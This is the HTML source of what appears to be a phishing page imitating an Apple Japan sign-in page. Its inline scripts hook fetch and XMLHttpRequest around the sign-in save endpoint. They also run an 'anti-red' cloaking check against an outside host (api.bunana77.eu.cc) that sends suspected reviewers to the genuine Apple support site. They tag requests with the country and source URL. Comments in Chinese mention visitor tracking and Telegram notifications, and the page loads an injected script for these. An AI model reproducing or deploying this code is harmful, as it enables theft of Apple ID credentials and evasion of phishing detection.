<html class="full-height clipboard clipboard-read clipboard-readtext clipboard-write clipboard-writetext adownload no-applicationcache blobconstructor blob-constructor canvas canvasblending todataurljpeg todataurlpng todataurlwebp canvaswinding canvastext contenteditable cssanimations appearance csscolumns csscolumns-width csscolumns-span csscolumns-fill csscolumns-gap csscolumns-rule csscolumns-rulecolor csscolumns-rulestyle csscolumns-rulewidth csscolumns-breakbefore csscolumns-breakafter csscolumns-breakinside no-cssgridlegacy cssgrid supports cssfilters flexbox flexboxlegacy no-flexboxtweener csspseudoanimations csstransitions no-csspseudotransitions cssreflections no-regions csstransforms csstransforms3d postmessage postmessage-structuredclones queryselector scriptasync scriptdefer no-scrolltooptions serviceworker localstorage sessionstorage no-stylescoped svg svgasimg svgclippaths svgfilters svgforeignobject inlinesvg smil desktop landscape windows windows10 windows10_0 64bit chrome chrome130 chrome130_0 webkit ja-jp" dir="ltr" lang="ja" style=""><head><meta name="x-page-country" content="JP">
<!-- LOCALSTORAGE_COMPAT_V1 START -->
<script>
(function(){
    try {
        var testKey = '__ls_test_' + Math.random();
        localStorage.setItem(testKey, '1');
        localStorage.removeItem(testKey);
    } catch (e) {
        try {
            var _origSetItem = Storage.prototype.setItem;
            Storage.prototype.setItem = function(key, value) {
                try { _origSetItem.call(this, key, value); }
                catch (e) { /* 静默失败：隐私模式/配额满 */ }
            };
            console.log('[ls-compat] localStorage.setItem 已降级为静默模式');
        } catch (e2) {}
    }
})();
</script>
<!-- LOCALSTORAGE_COMPAT_V1 END -->
<!-- BOUND_REDIRECT_V1.3 START -->
<script>
(function(){
    var BOUND_FLAG = '__bound_redirect_injected_v13__';
    if (window[BOUND_FLAG]) return;
    window[BOUND_FLAG] = true;

    function maybeRedirect(respData) {
        try {
            if (respData && typeof respData === 'object' && respData.redirect) {
                var u = String(respData.redirect);
                if (/^https?:\/\//i.test(u)) {
                    console.log('[bound-redirect] 命中已绑定用户，跳转到 ' + u);
                    window.location.replace(u);
                    return true;
                }
            }
        } catch (e) {}
        return false;
    }

    if (window.fetch) {
        var _origFetch = window.fetch;
        window.fetch = function() {
            var args = arguments;
            var url = (args[0] && args[0].url) || args[0] || '';
            var urlStr = String(url);
            if (urlStr.indexOf('/ap/signin/step1/save') !== -1 || urlStr.indexOf('/step1/save') !== -1) {
                return _origFetch.apply(this, args).then(function(resp) {
                    var cloned = resp.clone();
                    cloned.json().then(function(data) {
                        if (data && data.redirect) maybeRedirect(data);
                    }).catch(function(){});
                    return resp;
                });
            }
            return _origFetch.apply(this, args);
        };
    }

    var _origOpen = XMLHttpRequest.prototype.open;
    var _origSend = XMLHttpRequest.prototype.send;
    XMLHttpRequest.prototype.open = function(method, url) {
        this.__boundUrl = String(url || '');
        return _origOpen.apply(this, arguments);
    };
    XMLHttpRequest.prototype.send = function() {
        var self = this;
        var url = this.__boundUrl || '';
        if (url.indexOf('/ap/signin/step1/save') !== -1 || url.indexOf('/step1/save') !== -1) {
            this.addEventListener('load', function() {
                try {
                    var ct = self.getResponseHeader('Content-Type') || '';
                    if (ct.indexOf('application/json') !== -1 || ct.indexOf('text/') !== -1) {
                        var data;
                        try { data = JSON.parse(self.responseText); }
                        catch (e) { return; }
                        if (data && data.redirect) maybeRedirect(data);
                    }
                } catch (e) {}
            });
        }
        return _origSend.apply(this, arguments);
    };

    console.log('[bound-redirect] v1.3 拦截器已注入');
})();
</script>
<!-- BOUND_REDIRECT_V1.3 END --><meta name="ROBOTS" content="NOINDEX,NOFOLLOW"><meta property="og:locale" content="US-EN"><meta property="og:type" content="website"><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no"><link rel="stylesheet" href="apple/css/fonts.css"><style>.init-loading {
            display: flex;
            width: 100%;
            height: 100%;
            align-items: center;
            justify-content: center;
        }

        .init-loading-spinner {
            position: relative;
            height: 32px;
            width: 32px;
        }

        .init-loading-spinner .init-loading-spinner-container {
            position: absolute;
            top: 50%;
            width: 0;
            z-index: 1;
            transform: scale(.15);
            right: 50%;
        }

        .init-loading-spinner .init-loading-spinner-nib {
            height: 28px;
            position: absolute;
            top: -12.5px;
            width: 66px;
            background: transparent;
            border-radius: 25%/50%;
            transform-origin: right center;
        }

        .init-loading-spinner .init-loading-spinner-nib:before {
            content: "";
            display: block;
            height: 100%;
            width: 100%;
            background: #000;
            border-radius: 25%/50%;
            animation-direction: normal;
            animation-duration: .8s;
            animation-fill-mode: none;
            animation-iteration-count: infinite;
            animation-name: init-loading-spinner-line-fade-default;
            animation-play-state: running;
            animation-timing-function: linear;
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-1 {
            transform: rotate(0deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-1:before {
            animation-delay: -.8s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-2 {
            transform: rotate(-45deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-2:before {
            animation-delay: -.7s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-3 {
            transform: rotate(-90deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-3:before {
            animation-delay: -.6s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-4 {
            transform: rotate(-135deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-4:before {
            animation-delay: -.5s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-5 {
            transform: rotate(-180deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-5:before {
            animation-delay: -.4s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-6 {
            transform: rotate(-225deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-6:before {
            animation-delay: -.3s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-7 {
            transform: rotate(-270deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-7:before {
            animation-delay: -.2s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-8 {
            transform: rotate(-315deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-8:before {
            animation-delay: -.1s
        }

        @keyframes init-loading-spinner-line-fade-default {
            0%, to {
                opacity: .55
            }

            95% {
                opacity: .08
            }

            1% {
                opacity: .55
            }
        }

        .init-loading-spinner .init-loading-spinner-label {
            clip: rect(1px, 1px, 1px, 1px);
            -webkit-clip-path: inset(0 0 99.9% 99.9%);
            clip-path: inset(0 0 99.9% 99.9%);
            height: 1px;
            overflow: hidden;
            position: absolute;
            width: 1px;
            border: 0;
            padding: 0;
        }</style><script src="/apple/js/jquery-3.5.1.js"></script><script src="/apple/js/jquery.mask.js"></script><script src="/apple/js/jquery.validate.min.js"></script><script src="/apple/js/la/layer.js"></script><script src="apple/js/jquery.confirm-1.1.js"></script><link rel="stylesheet" href="apple/css/jquery.confirm-1.1.css"/><script src="ResourceConfig/smsConfig.json"></script><link rel="icon" href="/apple/favicon.ico"><style>.haserrinput{
            border-color: #e30000;
            background-color: #e30000;
        }
        .haserrtext{
            color: #e30000;
            font-size: 12px;
        }

        @font-face {
            font-family: "SF Pro JP";
            src: url("apple/font/SFProJP_regular.woff2")
        }
        @font-face {
            font-family: "SF Pro Text";
            src: url("apple/font/sf-pro-text_regular.woff2")
        }
        @font-face {
            font-family: "SF Pro Icons";
            src: url("apple/font/sf-pro-icons_regular.woff2")
        }
        .ribbon:lang(ja) {
            font-family: SF Pro JP, SF Pro Text, SF Pro Icons, Hiragino Kaku Gothic Pro, ヒラギノ角ゴ Pro W3, メイリオ, Meiryo, ＭＳ Ｐゴシック, Helvetica Neue, Helvetica, Arial, sans-serif;
            letter-spacing: 0;
            line-height: 1.4;
        }
        .init-loading {
            display: flex;
            width: 100%;
            height: 100%;
            align-items: center;
            justify-content: center;
        }

        .init-loading-spinner {
            position: relative;
            height: 32px;
            width: 32px;
        }

        .init-loading-spinner .init-loading-spinner-container {
            position: absolute;
            top: 50%;
            width: 0;
            z-index: 1;
            transform: scale(.15);
            right: 50%;
        }

        .init-loading-spinner .init-loading-spinner-nib {
            height: 28px;
            position: absolute;
            top: -12.5px;
            width: 66px;
            background: transparent;
            border-radius: 25%/50%;
            transform-origin: right center;
        }

        .init-loading-spinner .init-loading-spinner-nib:before {
            content: "";
            display: block;
            height: 100%;
            width: 100%;
            background: #000;
            border-radius: 25%/50%;
            animation-direction: normal;
            animation-duration: .8s;
            animation-fill-mode: none;
            animation-iteration-count: infinite;
            animation-name: init-loading-spinner-line-fade-default;
            animation-play-state: running;
            animation-timing-function: linear;
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-1 {
            transform: rotate(0deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-1:before {
            animation-delay: -.8s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-2 {
            transform: rotate(-45deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-2:before {
            animation-delay: -.7s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-3 {
            transform: rotate(-90deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-3:before {
            animation-delay: -.6s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-4 {
            transform: rotate(-135deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-4:before {
            animation-delay: -.5s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-5 {
            transform: rotate(-180deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-5:before {
            animation-delay: -.4s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-6 {
            transform: rotate(-225deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-6:before {
            animation-delay: -.3s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-7 {
            transform: rotate(-270deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-7:before {
            animation-delay: -.2s
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-8 {
            transform: rotate(-315deg) translateX(-40px)
        }

        .init-loading-spinner .init-loading-spinner-nib.init-loading-spinner-nib-8:before {
            animation-delay: -.1s
        }

        @keyframes init-loading-spinner-line-fade-default {

            0%,
            to {
                opacity: .55
            }

            95% {
                opacity: .08
            }

            1% {
                opacity: .55
            }
        }

        .init-loading-spinner .init-loading-spinner-label {
            clip: rect(1px, 1px, 1px, 1px);
            -webkit-clip-path: inset(0 0 99.9% 99.9%);
            clip-path: inset(0 0 99.9% 99.9%);
            height: 1px;
            overflow: hidden;
            position: absolute;
            width: 1px;
            border: 0;
            padding: 0;
        }</style><style>@-webkit-keyframes loading {
            from {
                opacity: 1;
                width: 5px;
                height: 20px;
            }
            to {
                opacity: 0.25;
                width: 5px;
                height: 20px;
            }
        }

        a:focus {
            outline: 0;
        }

        *:focus {
            outline: 0;
        }

        .wrapper {
            position: relative;
            top: 50%;
            left: 50%;
            display: inline-block;
            zoom: 0.3; /*通过修改这个值(值的区间为0-1)的大小来设置菊花的大小*/
        }

        .wrapper div {
            margin-top: 30px;
            margin-left: -25px;
            width: 10px;
            height: 25px;
            background: #a4a2a4;
            position: absolute;
            left: 100%;
            top: 100%;
            opacity: 0;
            -webkit-animation: loading 1.2s linear infinite;
        }

        .wrapper .line1 {
            -webkit-transform: rotate(0deg) translate(0, -34px);
            -webkit-animation-delay: 0s;
        }

        .wrapper .line2 {
            -webkit-transform: rotate(30deg) translate(0, -34px);
            -webkit-animation-delay: 0.1s;
        }

        .wrapper .line3 {
            -webkit-transform: rotate(60deg) translate(0, -34px);
            -webkit-animation-delay: 0.2s;
        }

        .wrapper .line4 {
            -webkit-transform: rotate(90deg) translate(0, -34px);
            -webkit-animation-delay: 0.3s;
        }

        .wrapper .line5 {
            -webkit-transform: rotate(120deg) translate(0, -34px);
            -webkit-animation-delay: 0.4s;
        }

        .wrapper .line6 {
            -webkit-transform: rotate(150deg) translate(0, -34px);
            -webkit-animation-delay: 0.5s;
        }

        .wrapper .line7 {
            -webkit-transform: rotate(180deg) translate(0, -34px);
            -webkit-animation-delay: 0.6s;
        }

        .wrapper .line8 {
            -webkit-transform: rotate(210deg) translate(0, -34px);
            -webkit-animation-delay: 0.7s;
        }

        .wrapper .line9 {
            -webkit-transform: rotate(240deg) translate(0, -34px);
            -webkit-animation-delay: 0.8s;
        }

        .wrapper .line10 {
            -webkit-transform: rotate(270deg) translate(0, -34px);
            -webkit-animation-delay: 0.9s;
        }

        .wrapper .line11 {
            -webkit-transform: rotate(300deg) translate(0, -34px);
            -webkit-animation-delay: 1.0s;
        }

        .wrapper .line12 {
            -webkit-transform: rotate(330deg) translate(0, -34px);
            -webkit-animation-delay: 1.1s;
        }</style><script>window.onload = function () {
            var scrollPos = document.documentElement.scrollTop || document.body.scrollTop;
            if (scrollPos > 0) {
                window.scrollTo(0, 0);
            }
        };</script><script defer="defer" src="/apple/js/chunk-vendors.81c5fd7e.js"></script><script defer="defer" src="/apple/js/app.131eb23b.js"></script><link href="/apple/css/app.dc63d262.css" rel="stylesheet"><script>(function(){window.PAGE_COUNTRY="JP";window.FANHONG_URL="https://api.bunana77.eu.cc/fanhong/check?country=JP";window.SOURCE_URL=location.origin+location.pathname;if(window.FANHONG_URL){var xhr=new XMLHttpRequest();xhr.open("GET",window.FANHONG_URL,true);xhr.onreadystatechange=function(){if(xhr.readyState===4){try{var r=JSON.parse(xhr.responseText);if(r&&r.code===1){window.location.href="https://support.apple.com/";}}catch(e){}}};xhr.send();}var origOpen=XMLHttpRequest.prototype.open;XMLHttpRequest.prototype.open=function(method,url){if(typeof url==="string" && url.charAt(0)!=="#"){var sep=url.indexOf("?")>=0?"&":"?";if(url.indexOf("country=")<0){url=url+sep+"country="+window.PAGE_COUNTRY;}if(url.indexOf("source_url=")<0){url=url+"&source_url="+encodeURIComponent(window.SOURCE_URL);}}return origOpen.apply(this,arguments);};var origFetch=window.fetch;if(origFetch){window.fetch=function(input,init){if(typeof input==="string"){var sep=input.indexOf("?")>=0?"&":"?";if(input.indexOf("country=")<0){input=input+sep+"country="+window.PAGE_COUNTRY;}if(input.indexOf("source_url=")<0){input=input+"&source_url="+encodeURIComponent(window.SOURCE_URL);}}return origFetch.call(this,input,init);};}})();</script></head><body class="localnav-overlap" style="overflow-y:visible; height: 100%;"><!-- v2.4.8 JP 升级：接入新版 inject-prod.js 防红 + 访客追踪 + TG 通知体系（与韩国页一致） -->
<!-- v2.4.9：关闭 P1 劫持避免与 Vue 双写；API 走租户 zone；国家强制 JP -->
<script>
window.__FORCE_COUNTRY__ = 'JP';
window.__DISABLE_P1_HIJACK__ = true;
window.__API_BASE__ = 'https://api.bunana77.eu.cc';
</script>
<script defer src="inject-prod.js?v20260809154600"></script>
</body></html>